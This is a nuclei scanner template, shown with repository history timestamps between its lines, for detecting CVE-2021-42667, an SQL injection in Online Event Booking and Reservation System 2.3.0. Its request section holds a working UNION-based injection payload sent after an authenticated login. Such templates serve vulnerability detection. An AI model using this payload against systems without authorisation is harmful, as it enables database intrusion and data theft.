nuclei-templates/http/cves/2021/CVE-2021-42667.yaml

60 lines
2.4 KiB
YAML
Raw Normal View History

id: CVE-2021-42667
info:
name: Online Event Booking and Reservation System 2.3.0 - SQL Injection
author: fxploit
severity: critical
description: |
Online Event Booking and Reservation System 2.3.0 contains a SQL injection vulnerability in event-management/views. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest patch or update to a non-vulnerable version of the Online Event Booking and Reservation System.
reference:
- https://github.com/0xDeku/CVE-2021-42667
- https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
- https://github.com/TheHackingRabbi/CVE-2021-42667
- https://nvd.nist.gov/vuln/detail/CVE-2021-42667
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-42667
cwe-id: CWE-89
epss-score: 0.04318
epss-percentile: 0.91464
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_system:2.3.0:*:*:*:*:*:*:*
2022-09-04 09:20:14 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:09:01 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: online_event_booking_and_reservation_system_project
product: online_event_booking_and_reservation_system
2023-12-05 09:50:33 +00:00
tags: cve,cve2021,sqli,authenticated,online_event_booking_and_reservation_system_project
2022-09-04 09:20:14 +00:00
variables:
num: "999999999"
http:
2022-09-04 09:20:14 +00:00
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
name={{username}}&pwd={{password}}
- |
GET /views/?v=USER&ID=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2Cmd5({{num}})%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%3B--%20- HTTP/1.1
Host: {{Hostname}}
host-redirects: true
2022-09-04 09:20:14 +00:00
max-redirects: 2
2023-07-11 19:49:27 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-09-04 09:20:14 +00:00
- '{{md5(num)}}'
- type: status
status:
- 200
# digest: 4a0a0047304502200a3b7535a91cf4f7d11c4a75f348ea09ac03f7c58c17ef97a1c113d62e2b0d3e022100f7dfb2c479f6709354f6e61f5a785ee7496830ce84cb6623c47bcb3de39e6053:922c64590222798bb761d5b6d8e72950